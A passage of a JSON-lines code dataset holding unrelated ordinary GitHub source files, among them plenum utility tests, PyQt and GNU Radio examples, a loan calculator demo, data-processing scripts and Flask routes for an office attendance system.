minPer\n\n\ndef test_distributedConnectionMapIsDeterministic():\n \"\"\"\n While this doesn't prove determinism, it gives us confidence.\n For 20 iterations, it generates 24 random names, and 10 conmaps for those\n names, and compares that the conmaps generated for the same names are the\n same.\n \"\"\"\n for _ in range(20):\n rands = [randomString() for _ in range(24)]\n conmaps = [distributedConnectionMap(rands) for _ in range(10)]\n for conmap1, conmap2 in combinations(conmaps, 2):\n assert conmap1 == conmap2\n\n\ndef test_list_item_equality():\n l = [\n {'a': 1, 'b': 2, 'c': 3},\n {'c': 3, 'a': 1, 'b': 2},\n {'c': 3, 'a': 1, 'b': 2},\n {'a': 1, 'b': 2, 'c': 3},\n {'c': 3, 'a': 1, 'b': 2},\n {'b': 2, 'c': 3, 'a': 1},\n ]\n l1 = [{'a', 'b', 'c', 1}, {'c', 'a', 'b', 1}, {1, 'a', 'c', 'b'}]\n assert check_if_all_equal_in_list(l)\n assert check_if_all_equal_in_list(l1)\n assert check_if_all_equal_in_list([1, 1, 1, 1])\n assert check_if_all_equal_in_list(['a', 'a', 'a', 'a'])\n assert not check_if_all_equal_in_list(['b', 'a', 'a', 'a'])\n assert not check_if_all_equal_in_list(l + [{'a': 1, 'b': 2, 'c': 33}])\n assert not check_if_all_equal_in_list(l1 + [{'c', 'a', 'b', 11}])\n\n\ndef test_3PC_key_comaparison():\n # Because of INDY-1336 compare_3PC_keys, min_3PC_key, max_3PC_key\n # taking into account only ppSeqNo part\n assert compare_3PC_keys((1, 2), (1, 2)) == 0\n assert compare_3PC_keys((1, 3), (1, 2)) < 0\n assert compare_3PC_keys((1, 2), (1, 3)) > 0\n assert compare_3PC_keys((1, 2), (1, 10)) > 0\n assert compare_3PC_keys((1, 100), (2, 3)) < 0\n assert compare_3PC_keys((1, 100), (4, 3)) < 0\n assert compare_3PC_keys((2, 100), (1, 300)) > 0\n assert min_3PC_key([(2, 100), (1, 300), (5, 600)]) == (2, 100)\n assert min_3PC_key([(2, 100), (2, 300), (2, 600)]) == (2, 100)\n assert min_3PC_key([(2, 100), (2, 300), (1, 600)]) == (2, 100)\n assert max_3PC_key([(2, 100), (1, 300), (5, 6)]) == (1, 300)\n assert max_3PC_key([(2, 100), (3, 20), (4, 1)]) == (2, 100)\n assert max_3PC_key([(2, 100), (2, 300), (2, 400)]) == (2, 400)\n\n\ndef test_utc_epoch():\n t1 = get_utc_epoch()\n time.sleep(1)\n t2 = get_utc_epoch()\n assert 1 <= t2 - t1 <= 2\n\n old_tz = os.environ.get('TZ')\n\n t3 = get_utc_epoch()\n os.environ['TZ'] = 'Europe/London'\n time.tzset()\n time.sleep(1)\n t4 = get_utc_epoch()\n assert 1 <= t4 - t3 <= 2\n\n t5 = get_utc_epoch()\n os.environ['TZ'] = 'America/St_Johns'\n time.tzset()\n time.sleep(1)\n t6 = get_utc_epoch()\n assert 1 <= t6 - t5 <= 2\n\n if old_tz is None:\n del os.environ['TZ']\n else:\n os.environ['TZ'] = old_tz\n\n\ndef test_mostCommonElement_for_hashable():\n elements = [1, 2, 3, 3, 2, 5, 2]\n most_common, count = mostCommonElement(elements)\n assert most_common == 2\n assert count == 3\n\n\ndef test_mostCommonElement_for_non_hashable():\n elements = [{1: 2}, {1: 3}, {1: 4}, {1: 3}]\n most_common, count = mostCommonElement(elements)\n assert most_common == {1: 3}\n assert count == 2\n\n\ndef test_mostCommonElement_for_non_hashable_with_hashable_f():\n elements = [{1: 2}, {1: 3}, {1: 4}, {1: 3}]\n most_common, count = mostCommonElement(elements, lambda el: tuple(el.items()))\n assert most_common == {1: 3}\n assert count == 2\n\n\ndef test_mostCommonElement_for_mixed_hashable():\n elements = [{1: 2}, 4, {1: 3}, 4, {1: 4}, 4, {1: 3}]\n most_common, count = mostCommonElement(elements)\n assert most_common == 4\n assert count == 3\n","repo_name":"hyperledger/indy-plenum","sub_path":"plenum/test/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":5371,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"32"} +{"seq_id":"37377459232","text":"from PyQt6 import QtWidgets, QtCore # 將 PyQt6 換成 PyQt5 就能改用 PyQt5\nimport sys\napp = QtWidgets.QApplication(sys.argv)\n\nForm = QtWidgets.QWidget()\nForm.setWindowTitle('oxxo.studio')\nForm.resize(300, 200)\n\nlabel = QtWidgets.QLabel(Form)\nlabel.setGeometry(20,10,100,40)\nlabel.setStyleSheet('font-size:30px;')\nlabel.setText('0')\n\na = 0\ndef count():\n global a\n a = a + 1\n label.setText(str(a))\n\ntimer = QtCore.QTimer()\ntimer.timeout.connect(count)\n\ndef start():\n timer.start(500) # 啟用定時器\n\ndef pause():\n timer.stop() # 停止定時器\n\ndef reset():\n global a\n a = 0 # 數值歸零\n label.setText('0')\n timer.stop() # 停止定時器\n\nbtn_start = QtWidgets.QPushButton(Form)\nbtn_start.setText('開始')\nbtn_start.setGeometry(20,70,80,30)\nbtn_start.clicked.connect(start) # 點擊按鈕執行 start()\n\nbtn_pause = QtWidgets.QPushButton(Form)\nbtn_pause.setText('暫停')\nbtn_pause.setGeometry(100,70,80,30)\nbtn_pause.clicked.connect(pause) # 點擊按鈕執行 pause()\n\nbtn_reset = QtWidgets.QPushButton(Form)\nbtn_reset.setText('重設')\nbtn_reset.setGeometry(180,70,80,30)\nbtn_reset.clicked.connect(reset) # 點擊按鈕執行 reset()\n\nForm.show()\nsys.exit(app.exec())\n\n","repo_name":"oxxostudio/book-code","sub_path":"pyqt/ch09/code02.py","file_name":"code02.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"5162853215","text":"import numpy\nimport time\nimport uuid\nfrom gnuradio import gr\nimport pmt\nfrom torch_echo.modulators import ModulatorClassic\nfrom torch_echo.utils import util_data\n\n\nclass modulator_classic(gr.basic_block, ModulatorClassic):\n \"\"\"\n Initialize parameters used for modulation\n Inputs:\n bits_per_symbol: Number of bits per symbol\n preamble: pseudo-random sequence used to update the modulator after a round trip\n log_ber_interval: number of updates between logging the round trip BER\n modulation_type: From 'BPSK', 'QPSK', '8PSK', 'QAM16', 'QAM64'\n \"\"\"\n def __init__(self, bits_per_symbol, preamble=None, log_ber_interval=10):\n ModulatorClassic.__init__(self, bits_per_symbol)\n gr.basic_block.__init__(self,\n name=\"modulator_classic\",\n in_sig=None,\n out_sig=None)\n if preamble is not numpy.ndarray:\n preamble = numpy.array(preamble)\n self.preamble = preamble\n self.log_ber_interval = log_ber_interval\n\n self.port_id_in = pmt.intern(\"bits\")\n self.port_id_update = pmt.intern(\"update\")\n self.port_id_out = pmt.intern(\"symbols\")\n self.message_port_register_in(self.port_id_in)\n self.message_port_register_in(self.port_id_update)\n self.message_port_register_out(self.port_id_out)\n self.set_msg_handler(self.port_id_in, self.handle_packet)\n self.set_msg_handler(self.port_id_update, self.handle_update)\n self.packet_cnt = 0\n self.ber_cnt = 0\n\n self.uuid = uuid.uuid4()\n self.uuid_str = str(self.uuid)[-6:]\n self.logger = gr.logger(\"log_debug\")\n self.logger.set_level(\"DEBUG\")\n self.logger.info(\"classic mod {}: {} bits per symbol\".format(self.uuid_str, self.bits_per_symbol))\n with open(\"ber_echo_{}.csv\".format(self.uuid_str), \"w\") as f:\n f.write(\"train_iter,BER\\n\")\n\n def handle_packet(self, pdu):\n t0 = time.time()\n self.packet_cnt += 1\n tag_dict = pmt.car(pdu)\n vec = pmt.to_python(pmt.cdr(pdu))\n data_si = util_data.bits_to_integers(vec, self.bits_per_symbol)\n symbs = self.modulate(data_si).astype(numpy.complex64)\n self.message_port_pub(self.port_id_out,\n pmt.cons(pmt.PMT_NIL,\n pmt.to_pmt(symbs)))\n t1 = time.time()\n self.logger.debug(\"classic mod {} handled {} bits in {} seconds\".format(\n self.uuid_str, vec.size, t1 - t0))\n\n def handle_update(self, pdu):\n self.ber_cnt += 1\n if self.preamble is not None and self.ber_cnt % self.log_ber_interval == 0:\n tag_dict = pmt.car(pdu)\n vec = pmt.to_python(pmt.cdr(pdu))\n ber = sum(numpy.abs(self.preamble - vec)) * 1.0 / self.preamble.size\n with open(\"ber_echo_{}.csv\".format(self.uuid_str), \"a\") as f:\n f.write(\"{},{}\\n\".format(self.ber_cnt, ber))\n","repo_name":"ml4wireless/gr-echo","sub_path":"python/modulator_classic.py","file_name":"modulator_classic.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37834947435","text":"#!/usr/bin/python\nimport math \nimport time\n\npiexact = 3.14159265358979323846264338327950288419\nn = int(input('number of strips ? '))\nprint (\" approximate calculation of pi \\n with %i strips \" % n)\ndelt = 1./n\napp = 0.0\nfor i in range(n):\n xi = (i+0.5)*delt;\n app = app + math.sqrt(1.-xi*xi)\npia = 4.*delt*app;\n\nprint (\" pi exact = %20.15f\" % piexact)\nprint (\" pi estimated = %20.15f \\n\" % pia)\nprint (\" error = %20.3e\\n\" % abs(pia-piexact))\n \n","repo_name":"WangWen-kang/mpi-exercise","sub_path":"pi/piapp.py","file_name":"piapp.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13771296978","text":"from Kalkulator_klasa import Kalkulator\nfrom parametry import *\n# Instrukcja\n# Parametry startowe kalkulatora:\n# kwota kredytu\n# ilość rat -podana jako ilość okresów spłaty -nie większa niż 35 lat\n# okres spłat (możliwe raty tygodniowe, miesięczne (domyślnie), kwartalne i roczne)\n# rodzaj rat (raty ze stałą kwotą łączną -raty stałe (domyślnie) lub ze stałą kwotą kapitałową -raty malejące\n# rodzaj oprocentowania -stałe lub zmienne (domyślnie) -stałe używa wartości stopa_procentowa,\n# zmienne pobiera obecną stopę referencyjną NBP -nie znalazłem API z WIBOR\n# rodzaj kapitalizacji -kapitalizacja ciągła (domyślnie) lub okresowa\n# okres kapitalizacji -okresy kapitalizacji, jeśli kapitalizacja okresowa jest używana\n# (możliwa kapitalizacja dobowa, tygodniowa, miesięczna (domyślnie), kwartalna, półroczna i roczna)\n#\n# Możliwe operacje na wygenerowanym harmonogramie\n# wakacje kredytowe\n# wakacje rządowe -odsetki nie są naliczane, kapitał do spłaty się nie zmienia\n# wakacje bankowe -odsetki są doliczane do kapitału\n# nadpłata kredytu\n# nadpłata zmniejszająca przyszły raty kredytu\n# nadpłata zmniejszająca okres trwania kredytu - zmniejsza liczbę rat do spłaty\n# zmiana oprocentowania\n# zmiana oprocentowania stałego - podanie nowego oprocentowania\n# aktualizacja oprocentowania zmiennego - pobiera aktualną wartość stopy referencyjnej\n# zmiana czasu kredytu -pozwala na zmianę ilości pozostałych do spłaty rat (wydłuża lub skraca kredyt)\n# łączne odsetki -oblicza sumy wszystkich odsetek jakie trzeba będzie zapłacić w czasie trwania całego kredytu\n# eksport harmonogramu -pozwala na zapisanie wygenerowanego harmonogramu w formacie Excel\n#\n# Przykład 1\nkalkulator = Kalkulator(\n kwota_kredytu=720000,\n ilosc_rat=300,\n okres_splat=OkresSplaty.raty_miesieczne,\n rodzaj_rat=RodzajRat.laczne,\n rodzaj_oprocentowania=RodzajOprocentowania.stale,\n stopa_procentowa=9.25,\n r_kapitalizacji=RodzajKapitalizacji.ciagla,\n okres_kapitalizacji=OkresyKapitalizacji.miesieczna # okresy nieużywanie w przypadku kapitalizacji ciągłej\n)\n\nkalkulator.generuj_harmonogram()\nprint('Odsetki przed wakacjami/nadpłatami:')\nkalkulator.oblicz_laczne_odsetki()\n\nkalkulator.wakacje_kredytowe(liczba_rat=5, obecna_rata=10, typ_wakacji=TypWakacji.rzadowe)\nkalkulator.nadplac_kredyt(kwota=20000, obecna_rata=20, typ_nadplaty=NadplataKredytu.raty)\nkalkulator.nadplac_kredyt(kwota=20000, obecna_rata=40, typ_nadplaty=NadplataKredytu.okres)\nkalkulator.zmien_oprocentowanie(nowy_procent=8, obecna_rata=70)\nkalkulator.zmien_czas_kredytu(nowa_liczba_rat=150, obecna_rata=100)\nkalkulator.pokaz_harmonogram()\nprint('Odsetki końcowe:')\nkalkulator.oblicz_laczne_odsetki()\nkalkulator.eksportuj_harmonogram()\n\n# Przykład 2\nprint('Przykład 2')\nkalkulator2 = Kalkulator(\n kwota_kredytu=380000,\n ilosc_rat=250,\n okres_splat=OkresSplaty.raty_miesieczne,\n rodzaj_rat=RodzajRat.kapitalowe,\n rodzaj_oprocentowania=RodzajOprocentowania.zmienne,\n r_kapitalizacji=RodzajKapitalizacji.okresowa,\n okres_kapitalizacji=OkresyKapitalizacji.miesieczna # okresy nieużywanie w przypadku kapitalizacji ciągłej\n)\nkalkulator2.generuj_harmonogram()\nprint('Odsetki przed wakacjami/nadpłatami:')\nkalkulator2.oblicz_laczne_odsetki()\nkalkulator2.wakacje_kredytowe(liczba_rat=6, obecna_rata=15, typ_wakacji=TypWakacji.bankowe)\nkalkulator2.nadplac_kredyt(kwota=10000, obecna_rata=40, typ_nadplaty=NadplataKredytu.okres)\nkalkulator2.zmien_oprocentowanie(nowy_procent=8, obecna_rata=60, rodzaj_oprocentowania=RodzajOprocentowania.stale)\nkalkulator2.zmien_czas_kredytu(nowa_liczba_rat=180, obecna_rata=90)\nkalkulator2.nadplac_kredyt(kwota=5000,obecna_rata=130, typ_nadplaty=NadplataKredytu.raty)\nkalkulator2.pokaz_harmonogram()\nprint('Odsetki końcowe:')\nkalkulator2.oblicz_laczne_odsetki()\nkalkulator2.eksportuj_harmonogram(nazwa='Harmonogram2')","repo_name":"PawelB3/Kalkulatory","sub_path":"kalkulatorKredytowy/Kalkulator_main.py","file_name":"Kalkulator_main.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72365626972","text":"import wordtree\nimport pandas as pd\n########## WARNING! #################\n# You need to have Graphviz installed on your machine for this to work!\n# install at: https://www.graphviz.org/download/\n\n\nFULL_DB_FILES = [\"songs_dt_part_\" + str(i) + \".json\" for i in range(1, 73)]\nARTISTS_DB_FILES = [\"songs_dt_w_gen_ethn_part_\" + str(i) + \".json\" for i in\n range(1, 31)]\nCOLUMNS = [\"Song\", \"Artist\", \"Gender\", \"Ethnicity\", \"Album\", \"Date\", \"URL\",\n \"Profanities\", \"Lyrics\"]\n\n\ndef load_json_data(json_files):\n \"\"\"\n this function takes a list of json files and converts them into one\n dataframe\n :param json_files: The DB json files\n :return: a dataframe\n \"\"\"\n full_data = pd.DataFrame()\n for file in json_files:\n single_file_df = pd.read_json(file, orient='table')\n full_data = full_data.append(single_file_df)\n return full_data\n\ndef unite_lyrics(data_df):\n \"\"\"\n this function gets a dataframe converts the lyrics column (was scraped\n as a list of strings) into one long string for the clustering\n :param data_df: the data dataframe\n :return: a new dataframe with the same data but the lyrics are a one\n long string\n \"\"\"\n united_lyrics_df = pd.DataFrame()\n for index, row in data_df.iterrows():\n song_details = [row['Song'], row['Artist'], row['Gender'],\n row['Ethnicity'], row['Album'], row['Date'],\n row['URL'], row['Profanities'],\n \" \".join(row['Lyrics'])]\n united_lyrics_df = united_lyrics_df.append(pd.DataFrame(columns=COLUMNS,\n data=[song_details]))\n return united_lyrics_df\n\n\ndef create_wordtree(lyrics, chosen_word):\n \"\"\"\n this function creates a word tree that follow the most popular leading\n words to a certain keyword, and than the most popular words stemming\n from that keyword.\n :param lyrics: a list that has a sample of the songs lyrics\n :param chosen_word: the word that will be the core of the tree\n :return: nothing, creates a photo file with the results.\n \"\"\"\n g = wordtree.search_and_draw(corpus=lyrics, keyword=chosen_word)\n # creates 2 files: onr is keyword.gv (irrelevant) the other is\n # keyword.gv.png - a normal photo file that one can open.\n g.render()\n\nif __name__ == '__main__':\n ############ Loading the data ##########3\n full_data_df = load_json_data(ARTISTS_DB_FILES)\n full_data_df_frac = unite_lyrics(full_data_df.sample(n=500))\n songs_lyrics = list(full_data_df_frac[\"Lyrics\"])\n # asking for user input to choose a keyword to look for\n chosen_word = str(input(\"Please choose a word to look for: \"))\n # creating the wordtree\n create_wordtree(songs_lyrics, chosen_word)","repo_name":"IggieB/Data-mining","sub_path":"wordtree_file.py","file_name":"wordtree_file.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17629192667","text":"\"\"\"Agregate methods that reflect the general use of\nthe treatment of data on the aplication\n\"\"\"\n\nimport pandas\nimport re\nimport json\nimport frontur_utilities.constants as const\nimport frontur_utilities.utility_fileloader as df_fileloader\nimport frontur_utilities.utility_df_datetime as df_datetime\nimport frontur_utilities.utility_functions as utility\nimport frontur_utilities.utility_df as df_utility\n\n\ndef select_airport(\n data_frame: pandas.DataFrame,\n airport: str,\n target_col: str = const.DF_ORIGIN_COL_NAME\n ) -> pandas.DataFrame:\n \"\"\"Selects rows by the airport code\n\n Args:\n data_frame (pandas.DataFrame): Source DataFrame\n airport (str): String code of the airport\n target_col (str): Target column\n\n Returns:\n pandas.DataFrame: Selected airport entries\n \"\"\"\n data_frame = data_frame.loc[lambda frame: frame[target_col] == airport]\n if data_frame.empty:\n utility.eprint(f'Selected airport \"{airport}\" is invalid or not found.')\n return\n return data_frame\n\n\ndef substitute_values(df: pandas.DataFrame, file_path: str):\n \"\"\"Substitutes DataFrame values given a dictionary\n\n Args:\n df (pandas.DataFrame): Source DataFrame\n file_path (str): Source file path\n \"\"\"\n with open(file_path) as jfile:\n df_utility.substitute_rows(df, json.load(jfile))\n\n\ndef add_plane_data(\n data_frame: pandas.DataFrame,\n file_path: str,\n target_col: str = const.DF_PLANE_COL_NAME\n ) -> pandas.DataFrame:\n \"\"\"Merges DataFrame with information about the flight planes\n\n Args:\n data_frame (pandas.DataFrame): Source DataFrame\n file_path (str): Source file path\n target_col (str): Target column to merge\n\n Returns:\n pandas.DataFrame: Source DataFrame with aditional information\n \"\"\"\n planes = df_fileloader.load_agenda(file_path)\n data_frame[target_col] = data_frame[target_col].astype(str)\n planes[target_col] = planes[target_col].astype(str)\n data_frame = pandas.merge(data_frame, planes, how='outer', on=[target_col], indicator=True)\n unmatched = data_frame.query('_merge == \"left_only\"').groupby([target_col]).size().reset_index(name='count')\n if not unmatched.empty:\n err_msg = 'There\\'s missing information about the following planes:'\n for index, row in unmatched.iterrows():\n err_msg += '\\n {} with {} ocurrences.'.format(row[target_col], row['count'])\n utility.eprint(err_msg)\n return\n return data_frame.query('_merge == \"both\"').drop(columns=['_merge'])\n\n\ndef format_dates(\n data_frame: pandas.DataFrame,\n target_col: str = const.DF_WEEKDAY_COL_NAME\n ) -> pandas.DataFrame:\n \"\"\"Removes all whitespaces from the deafult date column\n\n Args:\n data_frame (pandas.DataFrame): source DataFrame\n target_col (str): Target column\n\n Returns:\n pandas.DataFrame: Manipulated DataFrame\n \"\"\"\n data_frame[target_col] = data_frame.apply(lambda row: re.sub(r\"\\s+\", '', row[target_col]), axis='columns')\n dict_lists = data_frame.apply(lambda row: df_datetime.expand_date_intervals(row), axis='columns')\n return pandas.pandas.DataFrame(utility.flatten(dict_lists))\n\n\ndef select_days(df: pandas.DataFrame, file_path: str) -> pandas.DataFrame:\n \"\"\"Selects rows using a json file with specific parameters\n\n Args:\n df (pandas.DataFrame): Source DataFrame\n file_path (str): Source file path\n\n Returns:\n pandas.DataFrame: DataFrame with the selected values\n \"\"\"\n with open(file_path) as jfile:\n return df_utility.select_rows(df, json.load(jfile))\n","repo_name":"miguelbravo7/frontur_utilities","sub_path":"frontur_utilities/extract_methods.py","file_name":"extract_methods.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36902652711","text":"import csv\nimport argparse\n\n# Add parser\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--input_file\", help=\"input file path\", required=True)\nparser.add_argument(\"-o\", \"--output_file\", help=\"output file path\", required=True)\nargs = parser.parse_args()\n\ninput_file = args.input_file\noutput_file = args.output_file\n\nwith open(input_file, 'r') as file:\n lines = file.readlines()\n\nnames_positions = []\nfor line in lines:\n if line.startswith(\">\"):\n line = line.strip()\n name, position = line.split(\" | \")\n names_positions.append((name[1:], position))\n\n# Write to TSV file with headers\nwith open(output_file, 'w', newline='') as file:\n writer = csv.writer(file, delimiter='\\t')\n writer.writerow([\"protein_id\", \"DeepTMHMM_prediction\"]) # Write header row\n writer.writerows(names_positions) # Write data rows","repo_name":"AmaliaNabuurs/dockerfiles","sub_path":"parsers/parser_deeptmhmm/results_parser.py","file_name":"results_parser.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27807246318","text":"from flask import render_template,flash,session,request,Blueprint,redirect\nfrom forms import *\nfrom bson import ObjectId\nfrom decorators import login_required,authority_staff\nimport datetime,pymongo,os\n#連結mongodb\nclient = pymongo.MongoClient(os.getenv('DB_URL'))\ndb = client.flaskweb\n#設定藍圖\napp_officesys_routes = Blueprint('app_file2',__name__)\n\n#內部行政系統——————————————————————————————————————————\n#行政系統\n@app_officesys_routes.route('/officesys/')\n@login_required\n@authority_staff\ndef office():\n return render_template('officesys/system.html')\n\n#差遣系統\n@app_officesys_routes.route('/officesys/attendance/')\n@login_required\n@authority_staff\ndef assignment():\n return render_template('officesys/attendance.html')\n\n#公文系統\n@app_officesys_routes.route('/officesys/bulletin/')\n@login_required\n@authority_staff\ndef bulletin():\n return render_template('officesys/bulletin.html')\n\n#請假系統\n@app_officesys_routes.route('/officesys/leave/')\n@login_required\n@authority_staff\ndef leave():\n return render_template('officesys/leave.html')\n\n#任務系統\n@app_officesys_routes.route('/officesys/task/')\n@login_required\n@authority_staff\ndef task():\n return render_template('officesys/task.html')\n\n#財務系統\n@app_officesys_routes.route('/officesys/finance/')\n@login_required\n@authority_staff\ndef finance():\n return render_template('officesys/finance.html')\n\n#布告欄\n@app_officesys_routes.route('/officesys/dashboard/')\n@login_required\n@authority_staff\ndef dashboard():\n collection=db.dashboard#操作users集合\n results=collection.find()\n session['from']=request.path\n return render_template('officesys/dashboard.html',results=results)\n\n#布告欄-每個\n@app_officesys_routes.route('/officesys/dashboard//')\n@login_required\n@authority_staff\ndef contentspace(id):\n collection=db.dashboard#操作users集合\n result=collection.find_one(ObjectId(id))\n result['time']=datetime.datetime.strptime(result['time'], \"%Y-%m-%d %H:%M:%S\")\n result['end-time']=result['time']+datetime.timedelta(days=result['duration'])\n return render_template('officesys/dashboard-each.html',result=result)\n\n#布告欄 刪除\n@app_officesys_routes.route('/officesys/dashboard//delete/')\n@login_required\n@authority_staff\ndef delete(id):\n collection=db.dashboard#操作users集合\n collection.remove({\"_id\":ObjectId(id)})\n return redirect(\"/officesys/dashboard/\")\n\n#布告欄 新增\n@app_officesys_routes.route('/officesys/dashboard/upload/',methods=['GET','POST'])\n@login_required\n@authority_staff\ndef upload():\n form=DashForm()\n if form.validate_on_submit():\n print(form.duration.data)\n # 設定為 +8 時區\n tz = datetime.timezone(datetime.timedelta(hours=+8))\n data={\n \"time\":datetime.datetime.now(tz).strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"duration\":form.duration.data,\n \"title\":form.title.data,\n \"content\":form.content.data,\n 'link':form.link.data,\n \"by_name\":session['current_user']['name']\n }\n #內部公告\n if form.collection.data=='內部公告':\n collection=db.dashboard#操作users集合\n else:#外部公告\n collection=db.announcement\n data['category']=form.category.data\n if not form.duration.data:\n data['duration']=1\n #上傳\n collection.insert_one(data)\n\n return redirect('/officesys/dashboard/')\n session['from']=request.path\n return render_template(\"officesys/upload.html\",form=form)\n\n@app_officesys_routes.route('/officesys/punch_in/')\n@login_required\n@authority_staff\ndef daka():\n return render_template('officesys/punchin.html')\n\n\n#打卡系統\n#上班打卡\n@app_officesys_routes.route('/officesys/punch_in/clockin/',methods=['GET'])\n@login_required\n@authority_staff\ndef clockin(data):\n date,time=data.split(' ')\n collection=db.clockin#操作users集合\n result=collection.find_one({\"name\":session[\"current_user\"]['name']})\n if(not result):#不存在\n collection.insert_one({'name':session['current_user']['name']})\n result=collection.find_one({\"name\":session[\"current_user\"]['name']})\n if(date in result.keys()):#重複打上班卡\n flash(\"今日已經打卡\")\n else:\n result[date]={'clockin':time,'clockout':0,\"worktime\":0}\n collection.update_one({'name':session['current_user']['name']},{'$set':result})\n flash(\"上班打卡成功\")\n return render_template('officesys/punchin.html')\n\n#下班打卡\n@app_officesys_routes.route('/officesys/punch_in/clockout/',methods=['GET'])\n@login_required\n@authority_staff\ndef clockout(data):\n date,time=data.split(' ')\n collection=db.clockin#操作users集合\n result=collection.find_one({\"name\":session[\"current_user\"]['name']})\n if(not result):#不存在\n collection.insert_one({'name':session['current_user']['name']})\n if(not date in result.keys()):#沒打上班卡\n flash(\"請先上班打卡\")\n elif(result[date]['clockout']):#重複打下班卡\n flash(\"今日已經完成下班打卡\")\n else:\n result[date]['clockout']=time\n result[date]['worktime']=str(datetime.datetime.strptime(result[date]['clockout'],\"%H:%M:%S\")-datetime.datetime.strptime(result[date]['clockin'],\"%H:%M:%S\"))\n collection.update_one({'name':session['current_user']['name']},{'$set':result})\n flash(\"下班打卡成功\")\n return render_template('officesys/punchin.html')","repo_name":"Timothychen00/app","sub_path":"officesys/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5639,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"72900418011","text":"import csv\n\n\nimport jieba\nimport jieba.posseg\nimport numpy as np\n'''\n#找出ref_text內 人物名稱 跟地名\nsentences=[]\ncount=0\nfor row in open('ref_text.txt','r',encoding='UTF-8'):\n \n seg = jieba.posseg.cut(row)\n name=[]\n l=[]\n #https://gist.github.com/luw2007/6016931\n for i in seg:\n if i.flag[:2]=='ns' or i.flag[:2]=='nr' :#地名\n name.append(i.word)\n l.append(i)\n\n name=list(set(name))#刪除重複人名/地名\n\n sentences.append(name)\n \n count=count+1\n print(count)\n #if count==100:\n #break\n\n#存list\nf = open(\"sentences.csv\",\"w\",encoding=\"UTF-8\") \nw = csv.writer(f) \nw.writerows(sentences) \nf.close() \n'''\n#讀list\nloadsentences=[]\ni=0\nf = open('sentences.csv', 'r',encoding=\"UTF-8\") \nfor row in csv.reader(f): \n if i%2==0:#奇數個都是空的,忽略\n #loadsentences 每一個都有1個index(name(human place))\n loadsentences.append(row)\n i=i+1\nf.close()\n#print(loadsentences[0])\n\n\n\ntrain=[]\nwith open('train.csv', mode='r', encoding='utf-8') as f:\n reader = csv.reader(f)\n for row in reader:\n train.append(row)\n #train index分別是 [編號 人名 人名/地名 關係]\n\n#print(train[1])\n\nfeatures=[]\nindex=[\"spouse\"]\nfeatures.append(index)#spouse\nindex=[\"parent\"]\nfeatures.append(index)#parent\nindex=[\"child\"]\nfeatures.append(index)#child\nindex=[\"sibling\"]\nfeatures.append(index)#sibling\nindex=[\"birthPlace\"]\nfeatures.append(index)#birthPlace\nindex=[\"deathPlace\"]\nfeatures.append(index)#deathPlace\nindex=[\"workPlace\"]\nfeatures.append(index)#workPlace\n#print(features)\n#loadsentences 每一個都有1個index 編號(name(human place))\n#train 每一個都有4個index 編號 (id 人名 人名/地名 關係)\nfor i in range(len(loadsentences)):\n for j in range(len(train)):\n #print(i)\n if (train[j][1] in loadsentences[i]) and (train[j][2] in loadsentences[i]):\n init=0\n for row in open('ref_text.txt','r',encoding='UTF-8'):\n if init==i:\n print(train[j][3],row)\n #從找到的關係中抽取出適當的term\n seg = jieba.posseg.cut(row)\n \n init=init+1\n \n \n\n","repo_name":"danniefairy/Information_Retrieval","sub_path":"Relation/ie.py","file_name":"ie.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38988629433","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QTableWidget, QTableWidgetItem, QMessageBox\nfrom src.controller.animalController import AnimalController\n\n\nclass Ui_ListarAnimalProntuario(object):\n def setupUi(self, Cadastrar):\n Cadastrar.setObjectName(\"Cadastrar\")\n Cadastrar.resize(900, 600)\n Cadastrar.setMinimumSize(QtCore.QSize(900, 240))\n Cadastrar.setMaximumSize(QtCore.QSize(900, 600))\n self.navegation = QtWidgets.QFrame(Cadastrar)\n self.navegation.setGeometry(QtCore.QRect(0, 0, 221, 741))\n self.navegation.setStyleSheet(\"background-color: rgb(48, 68, 86)\")\n self.navegation.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.navegation.setFrameShadow(QtWidgets.QFrame.Raised)\n self.navegation.setObjectName(\"navegation\")\n self.healthypets = QtWidgets.QPushButton(self.navegation)\n self.healthypets.setEnabled(False)\n self.healthypets.setGeometry(QtCore.QRect(0, 0, 221, 111))\n self.healthypets.setAccessibleName(\"\")\n self.healthypets.setAutoFillBackground(False)\n self.healthypets.setStyleSheet(\"background-color: rgb(91, 113, 133);\\n\"\n \"color: white;\")\n self.healthypets.setObjectName(\"healthypets\")\n self.container = QtWidgets.QFrame(Cadastrar)\n self.container.setGeometry(QtCore.QRect(220, 0, 920, 600))\n self.container.setMinimumSize(QtCore.QSize(920, 600))\n self.container.setMaximumSize(QtCore.QSize(920, 740))\n self.container.setStyleSheet(\"background-color:rgb(201, 201, 201)\")\n self.container.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.container.setFrameShadow(QtWidgets.QFrame.Raised)\n self.container.setObjectName(\"container\")\n self.txtCadastrar = QtWidgets.QLabel(self.container)\n 